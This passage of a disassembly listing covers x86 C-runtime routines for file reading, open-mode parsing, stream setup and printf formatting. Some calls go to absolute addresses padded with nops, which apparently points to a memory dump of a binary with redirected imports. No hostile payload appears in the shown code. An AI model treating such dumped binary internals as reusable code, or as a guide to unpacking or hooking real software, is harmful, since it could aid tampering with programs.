XREF: sub_41F043+6Bj mov edi, offset dword_43C950 loc_41F0C9: ; CODE XREF: sub_41F043+7Fj mov cl, [edi+4] pop edi and cl, 82h cmp cl, 82h jnz short loc_41F0DB or dh, 20h mov [esi+0Ch], edx loc_41F0DB: ; CODE XREF: sub_41F043+62j ; sub_41F043+90j cmp dword ptr [esi+18h], 200h jnz short loc_41F0F8 mov ecx, [esi+0Ch] test cl, 8 jz short loc_41F0F8 test ch, 4 jnz short loc_41F0F8 mov dword ptr [esi+18h], 1000h loc_41F0F8: ; CODE XREF: sub_41F043+9Fj ; sub_41F043+A7j ... mov ecx, [esi] dec eax mov [esi+4], eax movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx pop esi retn ; --------------------------------------------------------------------------- loc_41F106: ; CODE XREF: sub_41F043+55j ; sub_41F043+5Aj neg eax sbb eax, eax and eax, 10h add eax, 10h or [esi+0Ch], eax and dword ptr [esi+4], 0 loc_41F117: ; CODE XREF: sub_41F043+Aj ; sub_41F043+12j ... or eax, 0FFFFFFFFh pop esi retn sub_41F043 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F11C proc near ; CODE XREF: sub_41B11A+90p ; sub_41F043+48p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx push esi mov esi, [ebp+arg_0] push edi cmp esi, dword_4DC6C0 jnb loc_41F2F9 mov eax, esi and esi, 1Fh sar eax, 5 shl esi, 3 lea ebx, ds:4DC5C0h[eax*4] mov eax, dword_4DC5C0[eax*4] add eax, esi mov dl, [eax+4] test dl, 1 jz loc_41F2F9 and [ebp+var_8], 0 mov edi, [ebp+arg_4] cmp [ebp+arg_8], 0 mov ecx, edi jz short loc_41F1D1 test dl, 2 jnz short loc_41F1D1 test dl, 48h jz short loc_41F191 mov al, [eax+5] cmp al, 0Ah jz short loc_41F191 dec [ebp+arg_8] mov [edi], al mov eax, [ebx] lea ecx, [edi+1] mov [ebp+var_8], 1 mov byte ptr [eax+esi+5], 0Ah loc_41F191: ; CODE XREF: sub_41F11C+56j ; sub_41F11C+5Dj lea eax, [ebp+var_C] push 0 push eax mov eax, [ebx] push [ebp+arg_8] push ecx push dword ptr [eax+esi] call near ptr 26F0000h nop test eax, eax jnz short loc_41F1E4 nop call near ptr 2660DCFh push 5 pop ecx cmp eax, ecx jnz short loc_41F1CC mov dword_4DB278, 9 mov dword_4DB27C, ecx jmp loc_41F30A ; --------------------------------------------------------------------------- loc_41F1CC: ; CODE XREF: sub_41F11C+99j cmp eax, 6Dh jnz short loc_41F1D8 loc_41F1D1: ; CODE XREF: sub_41F11C+4Cj ; sub_41F11C+51j xor eax, eax jmp loc_41F30D ; --------------------------------------------------------------------------- loc_41F1D8: ; CODE XREF: sub_41F11C+B3j push eax call sub_4203DF pop ecx jmp loc_41F30A ; --------------------------------------------------------------------------- loc_41F1E4: ; CODE XREF: sub_41F11C+8Cj mov eax, [ebx] mov edx, [ebp+var_C] add [ebp+var_8], edx lea ecx, [eax+esi+4] mov al, [eax+esi+4] test al, 80h jz loc_41F2F4 test edx, edx jz short loc_41F209 cmp byte ptr [edi], 0Ah jnz short loc_41F209 or al, 4 jmp short loc_41F20B ; --------------------------------------------------------------------------- loc_41F209: ; CODE XREF: sub_41F11C+E2j ; sub_41F11C+E7j and al, 0FBh loc_41F20B: ; CODE XREF: sub_41F11C+EBj mov [ecx], al mov eax, [ebp+arg_4] mov ecx, [ebp+var_8] mov [ebp+arg_8], eax add ecx, eax cmp eax, ecx mov [ebp+var_8], ecx jnb loc_41F2EE loc_41F223: ; CODE XREF: sub_41F11C+1BAj mov eax, [ebp+arg_8] mov al, [eax] cmp al, 1Ah jz loc_41F2DE cmp al, 0Dh jz short loc_41F23F mov [edi], al inc edi inc [ebp+arg_8] jmp loc_41F2D0 ; --------------------------------------------------------------------------- loc_41F23F: ; CODE XREF: sub_41F11C+116j dec ecx cmp [ebp+arg_8], ecx jnb short loc_41F25D mov eax, [ebp+arg_8] inc eax cmp byte ptr [eax], 0Ah jnz short loc_41F254 add [ebp+arg_8], 2 jmp short loc_41F2B2 ; --------------------------------------------------------------------------- loc_41F254: ; CODE XREF: sub_41F11C+130j mov byte ptr [edi], 0Dh inc edi mov [ebp+arg_8], eax jmp short loc_41F2D0 ; --------------------------------------------------------------------------- loc_41F25D: ; CODE XREF: sub_41F11C+127j lea eax, [ebp+var_C] push 0 push eax inc [ebp+arg_8] lea eax, [ebp+var_1] push 1 push eax mov eax, [ebx] push dword ptr [eax+esi] nop call near ptr 26F0000h test eax, eax jnz short loc_41F285 nop call near ptr 2660DCFh test eax, eax jnz short loc_41F2CC loc_41F285: ; CODE XREF: sub_41F11C+15Dj cmp [ebp+var_C], 0 jz short loc_41F2CC mov eax, [ebx] test byte ptr [eax+esi+4], 48h jz short loc_41F2A7 mov al, [ebp+var_1] cmp al, 0Ah jz short loc_41F2B2 mov byte ptr [edi], 0Dh mov ecx, [ebx] inc edi mov [ecx+esi+5], al jmp short loc_41F2D0 ; --------------------------------------------------------------------------- loc_41F2A7: ; CODE XREF: sub_41F11C+176j cmp edi, [ebp+arg_4] jnz short loc_41F2B7 cmp [ebp+var_1], 0Ah jnz short loc_41F2B7 loc_41F2B2: ; CODE XREF: sub_41F11C+136j ; sub_41F11C+17Dj mov byte ptr [edi], 0Ah jmp short loc_41F2CF ; --------------------------------------------------------------------------- loc_41F2B7: ; CODE XREF: sub_41F11C+18Ej ; sub_41F11C+194j push 1 push 0FFFFFFFFh push [ebp+arg_0] call sub_42272B add esp, 0Ch cmp [ebp+var_1], 0Ah jz short loc_41F2D0 loc_41F2CC: ; CODE XREF: sub_41F11C+167j ; sub_41F11C+16Dj mov byte ptr [edi], 0Dh loc_41F2CF: ; CODE XREF: sub_41F11C+199j inc edi loc_41F2D0: ; CODE XREF: sub_41F11C+11Ej ; sub_41F11C+13Fj ... mov ecx, [ebp+var_8] cmp [ebp+arg_8], ecx jb loc_41F223 jmp short loc_41F2EE ; --------------------------------------------------------------------------- loc_41F2DE: ; CODE XREF: sub_41F11C+10Ej mov eax, [ebx] lea esi, [eax+esi+4] mov al, [esi] test al, 40h jnz short loc_41F2EE or al, 2 mov [esi], al loc_41F2EE: ; CODE XREF: sub_41F11C+101j ; sub_41F11C+1C0j ... sub edi, [ebp+arg_4] mov [ebp+var_8], edi loc_41F2F4: ; CODE XREF: sub_41F11C+DAj mov eax, [ebp+var_8] jmp short loc_41F30D ; --------------------------------------------------------------------------- loc_41F2F9: ; CODE XREF: sub_41F11C+12j ; sub_41F11C+39j and dword_4DB27C, 0 mov dword_4DB278, 9 loc_41F30A: ; CODE XREF: sub_41F11C+ABj ; sub_41F11C+C3j or eax, 0FFFFFFFFh loc_41F30D: ; CODE XREF: sub_41F11C+B7j ; sub_41F11C+1DBj pop edi pop esi pop ebx leave retn sub_41F11C endp ; =============== S U B R O U T I N E ======================================= sub_41F312 proc near ; CODE XREF: sub_41B202+126p ; sub_41B202+24Bp ... arg_0 = dword ptr 4 mov eax, dword_4DB2F8 test eax, eax jz short loc_41F32A push [esp+arg_0] call eax test eax, eax pop ecx jz short loc_41F32A push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41F32A: ; CODE XREF: sub_41F312+7j ; sub_41F312+12j xor eax, eax retn sub_41F312 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F32D proc near ; CODE XREF: sub_41B4A2+17p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, dword_4DB464 push edi mov edi, [ebp+arg_4] xor ebx, ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov al, [edi] cmp al, 61h jz short loc_41F366 cmp al, 72h jz short loc_41F35F cmp al, 77h jnz loc_41F47A mov ecx, 301h jmp short loc_41F36B ; --------------------------------------------------------------------------- loc_41F35F: ; CODE XREF: sub_41F32D+21j xor ecx, ecx or esi, 1 jmp short loc_41F36E ; --------------------------------------------------------------------------- loc_41F366: ; CODE XREF: sub_41F32D+1Dj mov ecx, 109h loc_41F36B: ; CODE XREF: sub_41F32D+30j or esi, 2 loc_41F36E: ; CODE XREF: sub_41F32D+37j push 1 pop edx loc_41F371: ; CODE XREF: sub_41F32D+8Bj ; sub_41F32D+A0j ... mov al, [edi+1] inc edi cmp al, bl jz loc_41F460 cmp edx, ebx jz loc_41F460 movsx eax, al cmp eax, 54h jg short loc_41F3FF jz short loc_41F3EF sub eax, 2Bh jz short loc_41F3D9 sub eax, 19h jz short loc_41F3CF sub eax, 0Eh jz short loc_41F3BA dec eax jnz loc_41F451 cmp [ebp+var_4], ebx jnz loc_41F451 mov [ebp+var_4], 1 or ecx, 20h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3BA: ; CODE XREF: sub_41F32D+6Fj cmp [ebp+var_4], ebx jnz loc_41F451 mov [ebp+var_4], 1 or ecx, 10h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3CF: ; CODE XREF: sub_41F32D+6Aj test cl, 40h jnz short loc_41F451 or ecx, 40h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3D9: ; CODE XREF: sub_41F32D+65j test cl, 2 jnz short loc_41F451 and ecx, 0FFFFFFFEh and esi, 0FFFFFFFCh or ecx, 2 or esi, 80h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3EF: ; CODE XREF: sub_41F32D+60j mov eax, 1000h test ecx, eax jnz short loc_41F451 or ecx, eax jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F3FF: ; CODE XREF: sub_41F32D+5Ej sub eax, 62h jz short loc_41F44C dec eax jz short loc_41F435 sub eax, 0Bh jz short loc_41F41E sub eax, 6 jnz short loc_41F451 test ch, 0C0h jnz short loc_41F451 or ch, 40h jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F41E: ; CODE XREF: sub_41F32D+DDj cmp [ebp+var_8], ebx jnz short loc_41F451 mov [ebp+var_8], 1 and esi, 0FFFFBFFFh jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F435: ; CODE XREF: sub_41F32D+D8j cmp [ebp+var_8], ebx jnz short loc_41F451 mov [ebp+var_8], 1 or esi, 4000h jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F44C: ; CODE XREF: sub_41F32D+D5j test ch, 0C0h jz short loc_41F458 loc_41F451: ; CODE XREF: sub_41F32D+72j ; sub_41F32D+7Bj ... xor edx, edx jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F458: ; CODE XREF: sub_41F32D+122j or ch, 80h jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F460: ; CODE XREF: sub_41F32D+4Aj ; sub_41F32D+52j push 1A4h push [ebp+arg_8] push ecx push [ebp+arg_0] call sub_423A33 mov ecx, eax add esp, 10h cmp ecx, ebx jge short loc_41F47E loc_41F47A: ; CODE XREF: sub_41F32D+25j xor eax, eax jmp short loc_41F498 ; --------------------------------------------------------------------------- loc_41F47E: ; CODE XREF: sub_41F32D+14Bj mov eax, [ebp+arg_C] inc dword_4DB460 mov [eax+0Ch], esi mov [eax+4], ebx mov [eax], ebx mov [eax+8], ebx mov [eax+1Ch], ebx mov [eax+10h], ecx loc_41F498: ; CODE XREF: sub_41F32D+14Fj pop edi pop esi pop ebx leave retn sub_41F32D endp ; =============== S U B R O U T I N E ======================================= sub_41F49D proc near ; CODE XREF: sub_41B4A2p mov edx, dword_4DC5A0 push ebx push ebp push esi xor ebp, ebp xor esi, esi xor eax, eax cmp edx, ebp push edi jle short loc_41F50E mov ebx, dword_4DB598 mov edi, ebx loc_41F4B9: ; CODE XREF: sub_41F49D+2Ej mov ecx, [edi] cmp ecx, ebp jz short loc_41F4D4 test byte ptr [ecx+0Ch], 83h jz short loc_41F4CF inc eax add edi, 4 cmp eax, edx jl short loc_41F4B9 jmp short loc_41F50E ; --------------------------------------------------------------------------- loc_41F4CF: ; CODE XREF: sub_41F49D+26j mov esi, [ebx+eax*4] jmp short loc_41F4F8 ; --------------------------------------------------------------------------- loc_41F4D4: ; CODE XREF: sub_41F49D+20j mov edi, eax push 20h shl edi, 2 call sub_41B4D5 pop ecx mov ecx, dword_4DB598 mov [edi+ecx], eax mov eax, dword_4DB598 mov edi, [edi+eax] cmp edi, ebp jz short loc_41F50E mov esi, edi loc_41F4F8: ; CODE XREF: sub_41F49D+35j cmp esi, ebp jz short loc_41F50E or dword ptr [esi+10h], 0FFFFFFFFh mov [esi+4], ebp mov [esi+0Ch], ebp mov [esi+8], ebp mov [esi], ebp mov [esi+1Ch], ebp loc_41F50E: ; CODE XREF: sub_41F49D+12j ; sub_41F49D+30j ... mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41F49D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F515 proc near ; CODE XREF: sub_41B6EE+17p ; sub_41B6EE+58p ... var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea ecx, [eax+1] cmp ecx, 100h ja short loc_41F533 mov ecx, off_43C2F8 movzx eax, word ptr [ecx+eax*2] jmp short loc_41F585 ; --------------------------------------------------------------------------- loc_41F533: ; CODE XREF: sub_41F515+10j mov ecx, eax push esi mov esi, off_43C2F8 sar ecx, 8 movzx edx, cl test byte ptr [esi+edx*2+1], 80h pop esi jz short loc_41F558 and [ebp+var_2], 0 mov [ebp+var_4], cl mov [ebp+var_3], al push 2 jmp short loc_41F561 ; --------------------------------------------------------------------------- loc_41F558: ; CODE XREF: sub_41F515+33j and [ebp+var_3], 0 mov [ebp+var_4], al push 1 loc_41F561: ; CODE XREF: sub_41F515+41j pop eax lea ecx, [ebp+arg_0+2] push 1 push 0 push 0 push ecx push eax lea eax, [ebp+var_4] push eax push 1 call sub_423CEC add esp, 1Ch test eax, eax jnz short loc_41F581 leave retn ; --------------------------------------------------------------------------- loc_41F581: ; CODE XREF: sub_41F515+68j movzx eax, word ptr [ebp+arg_0+2] loc_41F585: ; CODE XREF: sub_41F515+1Cj and eax, [ebp+arg_4] leave retn sub_41F515 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F58A proc near ; CODE XREF: sub_41B886+46p ; sub_41B980+45p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] mov eax, [esi+0Ch] mov ebx, [esi+10h] test al, 82h jz loc_41F693 test al, 40h jnz loc_41F693 test al, 1 jz short loc_41F5C2 and dword ptr [esi+4], 0 test al, 10h jz loc_41F693 mov ecx, [esi+8] and al, 0FEh mov [esi], ecx mov [esi+0Ch], eax loc_41F5C2: ; CODE XREF: sub_41F58A+20j mov eax, [esi+0Ch] and dword ptr [esi+4], 0 and [ebp+arg_4], 0 and al, 0EFh or al, 2 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41F5FC cmp esi, offset dword_43CA08 jz short loc_41F5EA cmp esi, offset dword_43CA28 jnz short loc_41F5F5 loc_41F5EA: ; CODE XREF: sub_41F58A+56j push ebx call sub_423E35 test eax, eax pop ecx jnz short loc_41F5FC loc_41F5F5: ; CODE XREF: sub_41F58A+5Ej push esi call sub_4239EF pop ecx loc_41F5FC: ; CODE XREF: sub_41F58A+4Ej ; sub_41F58A+69j test word ptr [esi+0Ch], 108h push edi jz short loc_41F669 mov eax, [esi+8] mov edi, [esi] sub edi, eax lea ecx, [eax+1] mov [esi], ecx mov ecx, [esi+18h] dec ecx test edi, edi mov [esi+4], ecx jle short loc_41F62C push edi push eax push ebx call sub_42291D add esp, 0Ch mov [ebp+arg_4], eax jmp short loc_41F65F ; --------------------------------------------------------------------------- loc_41F62C: ; CODE XREF: sub_41F58A+90j cmp ebx, 0FFFFFFFFh jz short loc_41F647 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4DC5C0[eax*4] lea eax, [eax+ecx*8] jmp short loc_41F64C ; --------------------------------------------------------------------------- loc_41F647: ; CODE XREF: sub_41F58A+A5j mov eax, offset dword_43C950 loc_41F64C: ; CODE XREF: sub_41F58A+BBj test byte ptr [eax+4], 20h jz short loc_41F65F push 2 push 0 push ebx call sub_42272B add esp, 0Ch loc_41F65F: ; CODE XREF: sub_41F58A+A0j ; sub_41F58A+C6j mov eax, [esi+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_41F67D ; --------------------------------------------------------------------------- loc_41F669: ; CODE XREF: sub_41F58A+79j push 1 lea eax, [ebp+arg_0] pop edi push edi push eax push ebx call sub_42291D add esp, 0Ch mov [ebp+arg_4], eax loc_41F67D: ; CODE XREF: sub_41F58A+DDj cmp [ebp+arg_4], edi pop edi jz short loc_41F689 or dword ptr [esi+0Ch], 20h jmp short loc_41F698 ; --------------------------------------------------------------------------- loc_41F689: ; CODE XREF: sub_41F58A+F7j mov eax, [ebp+arg_0] and eax, 0FFh jmp short loc_41F69B ; --------------------------------------------------------------------------- loc_41F693: ; CODE XREF: sub_41F58A+10j ; sub_41F58A+18j ... or al, 20h mov [esi+0Ch], eax loc_41F698: ; CODE XREF: sub_41F58A+FDj or eax, 0FFFFFFFFh loc_41F69B: ; CODE XREF: sub_41F58A+107j pop esi pop ebx pop ebp retn sub_41F58A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F69F proc near ; CODE XREF: sub_41B886+29p ; sub_41B980+28p ... var_248 = byte ptr -248h var_247 = byte ptr -247h var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 248h push ebx push esi push edi mov edi, [ebp+arg_4] xor esi, esi mov bl, [edi] inc edi test bl, bl mov [ebp+var_C], esi mov [ebp+var_14], esi mov [ebp+arg_4], edi jz loc_41FDB8 mov ecx, [ebp+var_10] xor edx, edx jmp short loc_41F6D3 ; --------------------------------------------------------------------------- loc_41F6CB: ; CODE XREF: sub_41F69F+713j mov ecx, [ebp+var_10] mov esi, [ebp+var_30] xor edx, edx loc_41F6D3: ; CODE XREF: sub_41F69F+2Aj cmp [ebp+var_14], edx jl loc_41FDB8 cmp bl, 20h jl short loc_41F6F4 cmp bl, 78h jg short loc_41F6F4 movsx eax, bl mov al, [eax+42773Ch] and eax, 0Fh jmp short loc_41F6F6 ; --------------------------------------------------------------------------- loc_41F6F4: ; CODE XREF: sub_41F69F+40j ; sub_41F69F+45j xor eax, eax loc_41F6F6: ; CODE XREF: sub_41F69F+53j movsx eax, byte_42775C[esi+eax*8] sar eax, 4 cmp eax, 7 ; switch 8 cases mov [ebp+var_30], eax ja loc_41FDA7 ; default jmp off_41FDC0[eax*4] ; switch jump loc_41F714: ; DATA XREF: ___:off_41FDC0o or [ebp+var_10], 0FFFFFFFFh ; jumptable 0041F70D case 1 mov [ebp+var_34], edx mov [ebp+var_28], edx mov [ebp+var_20], edx mov [ebp+var_1C], edx mov [ebp+var_4], edx mov [ebp+var_24], edx jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F72F: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o movsx eax, bl ; jumptable 0041F70D case 2 sub eax, 20h jz short loc_41F772 sub eax, 3 jz short loc_41F769 sub eax, 8 jz short loc_41F760 dec eax dec eax jz short loc_41F757 sub eax, 3 jnz loc_41FDA7 ; default or [ebp+var_4], 8 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F757: ; CODE XREF: sub_41F69F+A4j or [ebp+var_4], 4 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F760: ; CODE XREF: sub_41F69F+A0j or [ebp+var_4], 1 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F769: ; CODE XREF: sub_41F69F+9Bj or byte ptr [ebp+var_4], 80h jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F772: ; CODE XREF: sub_41F69F+96j or [ebp+var_4], 2 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F77B: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o cmp bl, 2Ah ; jumptable 0041F70D case 3 jnz short loc_41F7A3 lea eax, [ebp+arg_8] push eax call sub_41FE7E test eax, eax pop ecx mov [ebp+var_20], eax jge loc_41FDA7 ; default or [ebp+var_4], 4 neg eax loc_41F79B: ; CODE XREF: sub_41F69F+111j mov [ebp+var_20], eax jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7A3: ; CODE XREF: sub_41F69F+DFj mov eax, [ebp+var_20] movsx ecx, bl lea eax, [eax+eax*4] lea eax, [ecx+eax*2-30h] jmp short loc_41F79B ; --------------------------------------------------------------------------- loc_41F7B2: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o mov [ebp+var_10], edx ; jumptable 0041F70D case 4 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7BA: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o cmp bl, 2Ah ; jumptable 0041F70D case 5 jnz short loc_41F7DD lea eax, [ebp+arg_8] push eax call sub_41FE7E test eax, eax pop ecx mov [ebp+var_10], eax jge loc_41FDA7 ; default or [ebp+var_10], 0FFFFFFFFh jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7DD: ; CODE XREF: sub_41F69F+11Ej lea eax, [ecx+ecx*4] movsx ecx, bl lea eax, [ecx+eax*2-30h] mov [ebp+var_10], eax jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7EF: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o cmp bl, 49h ; jumptable 0041F70D case 6 jz short loc_41F822 cmp bl, 68h jz short loc_41F819 cmp bl, 6Ch jz short loc_41F810 cmp bl, 77h jnz loc_41FDA7 ; default or byte ptr [ebp+var_4+1], 8 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F810: ; CODE XREF: sub_41F69F+15Dj or [ebp+var_4], 10h jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F819: ; CODE XREF: sub_41F69F+158j or [ebp+var_4], 20h jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F822: ; CODE XREF: sub_41F69F+153j cmp byte ptr [edi], 36h jnz short loc_41F83B cmp byte ptr [edi+1], 34h jnz short loc_41F83B inc edi inc edi or byte ptr [ebp+var_4+1], 80h mov [ebp+arg_4], edi jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F83B: ; CODE XREF: sub_41F69F+186j ; sub_41F69F+18Cj mov [ebp+var_30], edx loc_41F83E: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o mov ecx, off_43C2F8 ; jumptable 0041F70D case 0 mov [ebp+var_24], edx movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_41F86A lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41FDE0 mov bl, [edi] add esp, 0Ch inc edi mov [ebp+arg_4], edi loc_41F86A: ; CODE XREF: sub_41F69F+1B0j lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41FDE0 add esp, 0Ch jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F882: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o movsx eax, bl ; jumptable 0041F70D case 7 cmp eax, 67h jg loc_41FAAA cmp eax, 65h jge loc_41F92D cmp eax, 58h jg loc_41F98B jz loc_41FB1E sub eax, 43h jz loc_41F94E dec eax dec eax jz short loc_41F923 dec eax dec eax jz short loc_41F923 sub eax, 0Ch jnz loc_41FCA9 test word ptr [ebp+var_4], 830h jnz short loc_41F8CC or byte ptr [ebp+var_4+1], 8 loc_41F8CC: ; CODE XREF: sub_41F69F+227j ; sub_41F69F+42Aj mov esi, [ebp+var_10] cmp esi, 0FFFFFFFFh jnz short loc_41F8D9 mov esi, 7FFFFFFFh loc_41F8D9: ; CODE XREF: sub_41F69F+233j lea eax, [ebp+arg_8] push eax call sub_41FE7E test word ptr [ebp+var_4], 810h pop ecx mov ecx, eax mov [ebp+var_8], ecx jz loc_41FAF2 test ecx, ecx jnz short loc_41F901 mov ecx, off_43C514 mov [ebp+var_8], ecx loc_41F901: ; CODE XREF: sub_41F69F+257j mov [ebp+var_24], 1 mov eax, ecx loc_41F90A: ; CODE XREF: sub_41F69F+282j mov edx, esi dec esi test edx, edx jz loc_41FAE9 cmp word ptr [eax], 0 jz loc_41FAE9 inc eax inc eax jmp short loc_41F90A ; --------------------------------------------------------------------------- loc_41F923: ; CODE XREF: sub_41F69F+212j ; sub_41F69F+216j mov [ebp+var_34], 1 add bl, 20h loc_41F92D: ; CODE XREF: sub_41F69F+1F2j or [ebp+var_4], 40h lea edi, [ebp+var_248] cmp ecx, edx mov [ebp+var_8], edi jge loc_41FA11 mov [ebp+var_10], 6 jmp loc_41FA1F ; --------------------------------------------------------------------------- loc_41F94E: ; CODE XREF: sub_41F69F+20Aj test word ptr [ebp+var_4], 830h jnz short loc_41F95A or byte ptr [ebp+var_4+1], 8 loc_41F95A: ; CODE XREF: sub_41F69F+2B5j ; sub_41F69F+2F4j test word ptr [ebp+var_4], 810h lea eax, [ebp+arg_8] push eax jz short loc_41F9A1 call sub_41FE9B push eax lea eax, [ebp+var_248] push eax call sub_423E5B add esp, 0Ch mov [ebp+var_C], eax test eax, eax jge short loc_41F9B4 mov [ebp+var_28], 1 jmp short loc_41F9B4 ; --------------------------------------------------------------------------- loc_41F98B: ; CODE XREF: sub_41F69F+1FBj sub eax, 5Ah jz short loc_41F9C2 sub eax, 9 jz short loc_41F95A dec eax jz loc_41FB84 jmp loc_41FCA9 ; --------------------------------------------------------------------------- loc_41F9A1: ; CODE XREF: sub_41F69F+2C5j call sub_41FE7E pop ecx mov [ebp+var_248], al mov [ebp+var_C], 1 loc_41F9B4: ; CODE XREF: sub_41F69F+2E1j ; sub_41F69F+2EAj lea eax, [ebp+var_248] mov [ebp+var_8], eax jmp loc_41FCA9 ; --------------------------------------------------------------------------- loc_41F9C2: ; CODE XREF: sub_41F69F+2EFj lea eax, [ebp+arg_8] push eax call sub_41FE7E test eax, eax pop ecx jz short loc_41FA03 mov ecx, [eax+4] test ecx, ecx jz short loc_41FA03 test byte ptr [ebp+var_4+1], 8 jz short loc_41F9F4 movsx eax, word ptr [eax] shr eax, 1 mov [ebp+var_8], ecx mov [ebp+var_C], eax mov [ebp+var_24], 1 jmp loc_41FCA9 ; --------------------------------------------------------------------------- loc_41F9F4: ; CODE XREF: sub_41F69F+33Cj and [ebp+var_24], 0 mov [ebp+var_8], ecx movsx eax, word ptr [eax] jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FA03: ; CODE XREF: sub_41F69F+32Fj ; sub_41F69F+336j mov eax, off_43C510 mov [ebp+var_8], eax push eax jmp loc_41FA9F ; --------------------------------------------------------------------------- loc_41FA11: ; CODE XREF: sub_41F69F+29Dj jnz short loc_41FA1F cmp bl, 67h jnz short loc_41FA1F mov [ebp+var_10], 1 loc_41FA1F: ; CODE XREF: sub_41F69F+2AAj ; sub_41F69F:loc_41FA11j ... mov eax, [ebp+arg_8] push [ebp+var_34] add eax, 8 mov [ebp+arg_8], eax push [ebp+var_10] mov ecx, [eax-8] mov [ebp+var_48], ecx mov eax, [eax-4] mov [ebp+var_44], eax movsx eax, bl push eax lea eax, [ebp+var_248] push eax lea eax, [ebp+var_48] push eax call off_43C8A0 mov esi, [ebp+var_4] add esp, 14h and esi, 80h jz short loc_41FA71 cmp [ebp+var_10], 0 jnz short loc_41FA71 lea eax, [ebp+var_248] push eax call off_43C8AC pop ecx loc_41FA71: ; CODE XREF: sub_41F69F+3BCj ; sub_41F69F+3C2j cmp bl, 67h jnz short loc_41FA88 test esi, esi jnz short loc_41FA88 lea eax, [ebp+var_248] push eax call off_43C8A4 pop ecx loc_41FA88: ; CODE XREF: sub_41F69F+3D5j ; sub_41F69F+3D9j cmp [ebp+var_248], 2Dh jnz short loc_41FA9E or byte ptr [ebp+var_4+1], 1 lea edi, [ebp+var_247] mov [ebp+var_8], edi loc_41FA9E: ; CODE XREF: sub_41F69F+3F0j push edi loc_41FA9F: ; CODE XREF: sub_41F69F+36Dj call sub_41AFE0 pop ecx jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FAAA: ; CODE XREF: sub_41F69F+1E9j sub eax, 69h jz loc_41FB84 sub eax, 5 jz loc_41FB5A dec eax jz loc_41FB47 dec eax jz short loc_41FB17 sub eax, 3 jz loc_41F8CC dec eax dec eax jz loc_41FB88 sub eax, 3 jnz loc_41FCA9 mov [ebp+var_2C], 27h jmp short loc_41FB25 ; --------------------------------------------------------------------------- 